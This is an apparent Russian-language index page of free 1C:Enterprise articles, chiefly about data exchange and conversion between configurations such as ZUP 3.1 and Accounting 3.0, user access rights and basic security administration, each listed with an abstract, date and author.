Источник: Бухгалтерский учет ред. 4.5 платформы 7.7. Приемник: Бухгалтерия предприятия 3.0. Задача: При загрузке справочника «Номенклатура» в приемнике, все элементы поместить в папку «Товары» с сохранением имеющейся иерархии в 7.7.

10.04.2018    7326    pyrkin_vanya    3       

Решение проблемы автоматического утверждения расчета кадровиком документов. Разграничение прав кадровиков и расчетчиков. ЗУП 3.1 25

Статья Программист Нет файла v8 v8::СПР v8::Права ЗУП3.x БУ Зарплата Управление персоналом (HRM) Бесплатно (free) Информационная безопасность

Статья посвящена тем, кто столкнулся с проблемой автоматической установки "Расчет утвердил". Также рассматривается решение проблемы с отображением ФОТ и оклада у кадровика. Добавление роли ЧтениеДанныхДляНачисленияЗарплатыРасширенная кадровику без последствий для расчетчика.

04.04.2018    15095    leaderonex    22       

Перенос помеченных на удаление объектов. Конвертация 2.1 18

Статья Программист Нет файла v8 КД Бесплатно (free) Перенос данных из 1C8 в 1C8

Иногда при переносе данных возникает задача: не переносить помеченные на удаление документы, а те документы, которые были ранее перенесены в базу приемник и теперь в приемнике стали помеченными на удаления - переносить так, чтобы в базу приемник не тянулись связанные с объектом ссылки, но искомый объект помечался на удаление. В данной статье будет рассказано, как это можно сделать достаточно просто, используя конфигурацию "Конвертация 2.1".

02.04.2018    10190    Shmell    2       

Совместная работа БП 3.0 и ЗУП 3.1. Устранение ошибки синхронизации персональных данных физических лиц 12

Статья Системный администратор Программист Нет файла v8 БП3.0 ЗУП3.x Управление персоналом (HRM) Бесплатно (free) Перенос данных из 1C8 в 1C8

При совместной работе указанных конфигураций с использованием встроенного плана обмена «ОбменЗарплата3Бухгалтерия3» персональные данные физических лиц передаются некорректно. Это связано с ошибкой в правилах обмена (замшелой уже, с учётом того, сколько времени эта ошибка «кочует» из версии в версию правил).

31.03.2018    9919    ser73461014    11       

Обмен документами между одинаковыми конфигурациями 8

Статья Программист Нет файла v8 1cv8.cf БУ Windows Бесплатно (free) Перенос данных из 1C8 в 1C8

Простой вариант передавать созданное основание в подчиненный документ при обмене и делать обмен по произвольному алгоритму.

16.03.2018    7569    alex_bitti    0       

Проверка безопасности установленных паролей 6

Статья Системный администратор Нет файла v8 Бесплатно (free) Информационная безопасность

Код выводит не установленные пароли, а так же очень простые (1, 123) пароли пользователей. Список можно пополнять.

08.03.2018    7295    nomadon    12       

Информирование об утечке базы 1С 22

Статья Системный администратор Нет файла v8 1cv8.cf Windows Бесплатно (free) Информационная безопасность

Когда работаешь в крупном холдинге, количество сотрудников, имеющих доступ к базам 1С неизменно растет. Рано или поздно появится задача по контролю утечки баз 1С. Конечно мы применим все меры по предотвращению утечки баз, но и информирование о случаях утечки тоже не повредит.

03.03.2018    11082    dima_home    79       

Настройка обмена через универсальный формат между СВОЕЙ КОНФИГУРАЦИЕЙ и ТИПОВОЙ, не снимая типовую с поддержки (+ фишка БСП) 53

Статья Программист Нет файла v8 Бесплатно (free) Перенос данных из 1C8 в 1C8

Возникла необходимость настроить синхронизацию между своей отраслевой конфигурацией и Бухгалтерией 3.0, основным условием было - НЕ снимать Бухгалтерию с поддержки. Предлагаю краткую инструкцию + одну "фишку" БСП, которая по умолчанию не отображается.

25.12.2017    19982    tmn72.1C    18       

Синхронизация под контролем (на примере синхронизации «1С:Зарплата и управление персоналом 3.1» и «1С:Бухгалтерия 3.0») 10

Статья Программист Нет файла v8 БП3.0 ЗУП3.x Россия БУ Зарплата Бесплатно (free) Перенос данных из 1C8 в 1C8

В статье рассматривается возможность наглядного анализа переносимых данных при синхронизации, построенной на технологии «1С:Конвертация 2».

19.12.2017    11844    leosoft    6       

Как самому написать обмен между Бухгалтерией 2.0 и ЗУП 3.1. (Часть 1) 29

Статья Программист Нет файла v8 БП2.0 ЗУП3.x БУ Windows Зарплата Бесплатно (free) Перенос данных из 1C8 в 1C8

Речь пойдет о том, как можно осуществить переход на ЗУП 3.1 и при этом сохранить работоспособность системы обмена, написав свой обмен между конфигурациями разных поколений в Конвертации данных. В этой части речь пойдет только об документе Отражения зарплаты (перенос начислений).

15.12.2017    11367    alex_bitti    0       

1С: Конвертация данных 3. Инструкции и примеры. EnterpriseData (универсальный формат обмена) 722

Статья Программист Нет файла v8 КД Бесплатно (free) Перенос данных из 1C8 в 1C8 Практика программирования Обмен через XML

Что такое КД3? Как начать использовать? Полезные дополнения к документации. Что нужно исправить в типовых обработках и конфигурации. Как изменить правила обмена не снимая конфигурацию с поддержки. Как отлаживать правила обмена?

19.11.2017    138111    MaxS    251       

Обмен между базами 1С 8.3. Доработка типового плана обмена (синхронизации) между конфигурациями 1С на примере обмена 1С: Зарплата и управление персоналом 3 и 1С: Бухгалтерия предприятия 3 113

Статья Программист Нет файла v8 1cv8.cf Бесплатно (free) Перенос данных из 1C8 в 1C8

Для чего нужно изучить данную статью и когда эти знания могут пригодиться? В первую очередь приведенная ниже информация потребуется программистам 1С, когда перед ними встанет задача доработать типовой обмен между конфигурациями, который настроен через синхронизацию данных, т.е. по плану обмена. Что же такое «План обмена»? План обмена в 1С – это объект, который входит в состав метаданных конфигурации и служит для синхронизации данных между информационными базами.

09.11.2017    49745    user858846    36       

Отключаем предупреждения безопасности в 1С 8.3.9 и выше вручную 20

Статья Системный администратор Нет файла v8 v8::УФ v8::Права 1cv8.cf Бесплатно (free) Информационная безопасность

Как включить/выключить механизм защиты от опасных действий реализованный в новой версии платформы 1С:Предприятие 8.3.9. Одним из нововведений новой версии платформы 1С:Предприятие 8.3.9 стал механизм от опасных действий. После установки новой версии платформы 1С (начиная версии 8.3.9.2033) при попытке открыть внешнюю обработку или расширение программа выдает сообщение..

01.11.2017    27562    webresurs    10       

Конвертация данных. Удобная навигация (Открыть алгоритм или запрос) v0.5 48

Статья Программист Нет файла v8 КД Россия Бесплатно (free) Практика программирования Перенос данных из 1C8 в 1C8

Цель: выявить (зафиксировать) и реализовать удобную навигацию в КД, например: -Открытие алгоритмов в правилах конвертации объектов и правилах выгрузки данных.

27.10.2017    9177    Trise    6       

1С: Конвертация данных 2. Разработка с "нуля" на простых примерах разработки 155

Статья Программист Нет файла v8 КД Бесплатно (free) Перенос данных из 1C8 в 1C8

1. Вступление 2. Что понадобится: конфигурация 1С: Конвертация данных 2. и обработки из пакета. Для примера задач возьмем конфигурации 1С: Управление торговлей 11 и 1С: БП 3.*. 3. Нам понадобятся Обработки для выгрузки структуры метаданных и обмена. 4. Выгрузка структуры метаданных конфигурации 1С: Управление торговлей 11.3 и 1С: Бухгалтерия предприятия 3.0.* 5. Загрузка структур метаданных конфигураций в базу конвертации. 6. Создание правил конвертации в 1С на конкретном примере задачи. 7. Подводим итоги: Выгрузка и загрузка данных с помощью разработанных правил обмена данными.

26.10.2017    58076    somel    21       

Основные концепции Конвертации данных (КД) для новичков 120

Статья Программист Нет файла v8 КД Бесплатно (free) Перенос данных из 1C8 в 1C8

В КД очень важно понять основные принципы работы. Вроде и самой КД сто лет в обед, и понаписано уже не счесть, но все как-то не так, как мне бы хотелось. Постепенно крепло желание написать эдакое послание самому себе, начинающему изучать КД, да никак руки не доходили. Последней каплей стала очередная попавшаяся на глаза "неправильная" статья, и я решил - ничего страшного, пусть будет еще одна статья, зато гештальт закрою :) Даже если я излишне самонадеян, авось кому-то она все же поможет. Скриншотов не будет, будет только унылый текст. Но я бы в свое время за него многое отдал. Чтобы не перегружать статью, в ней не освещаются особенности вроде правил регистрации, особенностей КД 3.0 и т.п.

17.10.2017    23616    herfis    26       

Настройка автоматического обмена между конфигурациями Управление торговлей 10.3 и Управление торговлей 11. 3 при помощи механизмов планов обмена и правил обмена 54

Статья Программист Нет файла v8 УТ10 УТ11 Россия Бесплатно (free) Перенос данных из 1C8 в 1C8

В статье описывается методика настройки автоматического обмена между конфигурациями УТ 10 -УТ 11 3 при помощи механизмов планов обмена и правил обмена

25.09.2017    14184    The Ded    18       

Многофакторная авторизация. Шаблон проектирования для «1С:Предприятие 8». На примере API «Приватбанка» для юр. лиц 10

Статья Программист Нет файла v8 Бесплатно (free) Информационная безопасность Обмен с банком

Многим из читателей знакомы понятия стандартов разработки и шаблонов проектирования. Для платформы «1С:Предприятие 8» на сайте its.1c.ru описаны базовые стандарты оформления кода и некоторые полезные примеры, но отсутствует информация об высокоуровневых абстракциях. Почти у каждого банка есть реализация обмена с конфигурациями «1С:Предприятие 8», но анализировать код, а тем более реализацию без слёз невозможно. Данная статья предлагает использовать некий шаблон оформления кода для многофакторной авторизации.

11.09.2017    10212    pbazeliuk    6       

Как создать свой профиль доступа в пользовательском режиме в 1С:Бухгалтерии 3.0 12

Статья Системный администратор Программист Нет файла v8 БП3.0 Россия Бесплатно (free) Информационная безопасность

Допустим, есть следующая задача. Нужно добавить нового пользователя «Анна» в базу 1С:Бухгалтерия 3.0. При этом Анна должна только выставлять и распечатывать Счета на оплату. При этом все остальные документы и справочники только для просмотра. Т.е. добавлять новую номенклатуру и контрагентов она не может. Обязательное условие - не изменять типовую конфигурацию.

06.09.2017    12344    alfanika    3       

Правила конвертации между регистрами сведений подчиненным регистратору и независимым 16

Статья Программист Нет файла v8 КД Бесплатно (free) Перенос данных из 1C8 в 1C8

Принцип настройки правил обмена в БСП между регистрами сведений, когда один из них подчинен регистратору, а второй независимый.

31.08.2017    12747    Pervuy    2       

Конвертация данных 2.* + Планы обмена - метод передачи в сообщении удаления независимых регистров 11

Статья Программист Нет файла v8 КД Бесплатно (free) Перенос данных из 1C8 в 1C8

Описывается метод передачи в сообщениях информации для удаления независимых регистров в узлах приемниках при использовании планов обменов в связке с конвертацией данных и обработкой "Универсальный обмен данными в формате XML" из поставки "Конвертация данных 2.x".

28.08.2017    8349    rawlik    8